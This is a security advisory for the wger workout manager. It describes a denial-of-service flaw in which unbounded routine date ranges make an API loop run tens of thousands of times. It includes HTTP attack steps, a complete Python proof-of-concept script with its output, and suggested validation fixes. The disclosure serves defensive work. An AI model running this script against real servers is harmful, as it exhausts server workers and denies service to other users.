VDB
KO
MEDIUM 6.5

GHSA-v25j-wqcw-fvhj

wger has an Uncontrolled Resource Consumption issue

Details

### Summary

Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.

### Details

The `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:

```python # File: wger/manager/models/routine.py, line 151 def clean(self): if self.end and self.start and self.start > self.end: raise ValidationError('The start time cannot be after the end time.') # NO maximum duration check ```

The `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.

The `date_sequence` property (line 256) uses an unbounded loop:

```python # File: wger/manager/models/routine.py, line 256 while current_date <= self.end: # heavy computation per day: slots, entries, configs, logs ... ```

A routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:

- `GET /api/v2/routine/<id>/date-sequence-display/` - `GET /api/v2/routine/<id>/date-sequence-gym/` - `GET /api/v2/routine/<id>/structure/` - `GET /api/v2/routine/<id>/logs/` - `GET /api/v2/routine/<id>/stats/`

### PoC

#### Prerequisites

- One authenticated user account - No special permissions required

#### Attack Steps

``` # 1. Create a 100-year routine POST /api/v2/routine/ Authorization: Token <token> Content-Type: application/json

{ "name": "DoS routine", "start": "2000-01-01", "end": "2099-12-31" }

# 2. Add at least one day (to make computation non-trivial) POST /api/v2/day/ Authorization: Token <token> Content-Type: application/json

{ "routine": <routine_id>, "order": 1, "name": "Day A" }

# 3. Trigger the expensive computation GET /api/v2/routine/<routine_id>/date-sequence-display/ Authorization: Token <token> ```

**Expected:** HTTP 400 (routine duration exceeds maximum) **Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time

#### Proof of Concept Script

```python #!/usr/bin/env python3 """ PoC: Unbounded date_sequence Denial of Service Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-400: Uncontrolled Resource Consumption

Usage: python3 poc.py http://localhost:8000 """

import requests import sys import time

if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASE_URL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)

BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"

ATTACKER_USER = "dos_attacker_poc" ATTACKER_PASS = "DosAttack!Poc!2025"

BANNER = """ ===================================================================== PoC: Unbounded date_sequence Denial of Service Severity: HIGH CWE-400: Uncontrolled Resource Consumption ===================================================================== """ print(BANNER)

# ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None

def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

# ---- 1. Authenticate ----

print("[1] Authenticating...")

token = api_login(ATTACKER_USER, ATTACKER_PASS) if not token: print(f" Registering account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKER_USER, "password": ATTACKER_PASS, }) if r.status_code in (200, 201): token = r.json().get("token") if not token: token = api_login(ATTACKER_USER, ATTACKER_PASS) if not token: print(f"[-] Cannot authenticate. Response: {r.text[:200]}") sys.exit(1) print(f" Token: {token[:16]}...")

headers = api_headers(token)

# ---- 2. Create NORMAL routine (baseline) ----

print("\n[2] Creating baseline routine (30 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={ "name": "Normal 30-day routine", "start": "2025-01-01", "end": "2025-01-31", }) normal_id = r.json()["id"]

r = requests.post(f"{API}/day/", headers=headers, json={ "routine": normal_id, "order": 1, "name": "Day A" })

print(f" Routine id={normal_id} (30 days)") start_time = time.time() r = requests.get( f"{API}/routine/{normal_id}/date-sequence-display/", headers=headers, ) baseline_time = time.time() - start_time baseline_entries = len(r.json()) if r.status_code == 200 else 0 print(f" date-sequence-display: {r.status_code}, " f"{baseline_entries} entries, {baseline_time:.2f}s")

# ---- 3. Create MALICIOUS routine (100 years) ----

print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={ "name": "DoS routine - 100 years", "start": "2000-01-01", "end": "2099-12-31", })

if r.status_code != 201: print(f" [-] Failed to create: {r.status_code} {r.text[:200]}") sys.exit(1)

dos_id = r.json()["id"] print(f" Routine id={dos_id}") print(f" start=2000-01-01, end=2099-12-31") print(f" Duration: ~36,525 days (NO validation limit!)")

r = requests.post(f"{API}/day/", headers=headers, json={ "routine": dos_id, "order": 1, "name": "DoS Day" })

# ---- 4. ATTACK ----

print(f"\n{'='*65}") print(f" ATTACK: Triggering date_sequence on 100-year routine") print(f"{'='*65}")

print(f"\n GET {API}/routine/{dos_id}/date-sequence-display/") print(f" This will iterate ~36,525 times in a while loop...")

start_time = time.time() try: r = requests.get( f"{API}/routine/{dos_id}/date-sequence-display/", headers=headers, timeout=120, ) elapsed = time.time() - start_time dos_entries = len(r.json()) if r.status_code == 200 else 0

print(f"\n Response: HTTP {r.status_code}") print(f" Entries returned: {dos_entries}") print(f" Time elapsed: {elapsed:.2f}s")

except requests.exceptions.Timeout: elapsed = time.time() - start_time dos_entries = 0 print(f"\n REQUEST TIMED OUT after {elapsed:.2f}s!")

except requests.exceptions.ConnectionError: elapsed = time.time() - start_time dos_entries = 0 print(f"\n CONNECTION LOST after {elapsed:.2f}s!")

# ---- 5. VERIFY ----

print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}")

print(f"\n Baseline (30-day routine):") print(f" Entries: {baseline_entries}") print(f" Time: {baseline_time:.2f}s") print(f"\n Malicious (100-year routine):") print(f" Entries: {dos_entries}") print(f" Time: {elapsed:.2f}s")

if elapsed > baseline_time * 5 or dos_entries > 10000: slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf') print(f"\n Slowdown factor: {slowdown:.1f}x") print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | No maximum duration is enforced on routines. | | The date_sequence property loops once per day with no | | upper bound. A 100-year routine forces ~36,525 | | iterations of expensive O(days x slots x configs) work. | | A single request can exhaust a server worker thread. | +----------------------------------------------------------+ """) else: print("\n Response was fast - server may have limits or caching.") ```

#### Proof of Concept Output

``` ===================================================================== PoC: Unbounded date_sequence Denial of Service Severity: HIGH CWE-400: Uncontrolled Resource Consumption =====================================================================

[1] Authenticating... Registering account... Token: 2ffbb18316fc4e0f...

[2] Creating baseline routine (30 days)... Routine id=5 (30 days) date-sequence-display: 200, 31 entries, 0.02s

[3] Creating malicious routine (100 years = 36,525 days)... Routine id=6 start=2000-01-01, end=2099-12-31 Duration: ~36,525 days (NO validation limit!)

================================================================= ATTACK: Triggering date_sequence on 100-year routine =================================================================

GET http://localhost/api/v2/routine/6/date-sequence-display/ This will iterate ~36,525 times in a while loop...

Response: HTTP 200 Entries returned: 36525 Time elapsed: 3.06s

================================================================= VERIFICATION =================================================================

Baseline (30-day routine): Entries: 31 Time: 0.02s

Malicious (100-year routine): Entries: 36525 Time: 3.06s

Slowdown factor: 138.4x

+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | No maximum duration is enforced on routines. | | The date_sequence property loops once per day with no | | upper bound. A 100-year routine forces ~36,525 | | iterations of expensive O(days x slots x configs) work. | | A single request can exhaust a server worker thread. | +----------------------------------------------------------+ ```

### Impact

1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users. 2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request. 3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required. 4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits. 5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.

### Fix

#### 1. Add maximum duration validation in the model

```python # File: wger/manager/models/routine.py MAX_ROUTINE_DAYS = 365

def clean(self): if self.end and self.start: if self.start > self.end: raise ValidationError('Start cannot be after end.') if (self.end - self.start).days > self.MAX_ROUTINE_DAYS: raise ValidationError( f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.' ) ```

#### 2. Add the same validation in the serializer

```python # File: wger/manager/api/serializers.py class RoutineSerializer(serializers.ModelSerializer): def validate(self, data): start = data.get('start') end = data.get('end') if start and end and (end - start).days > 365: raise serializers.ValidationError( 'Routine cannot span more than 365 days.' ) return data ```

#### 3. Add a safety cap in date_sequence (defence-in-depth)

```python # File: wger/manager/models/routine.py, inside date_sequence property MAX_SEQUENCE_DAYS = 400 count = 0 while current_date <= self.end: count += 1 if count > MAX_SEQUENCE_DAYS: break ... ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / wger
Introduced in: 0

No fixed version published yet for wger (pip). Pin to a known-safe version or switch to an alternative.

References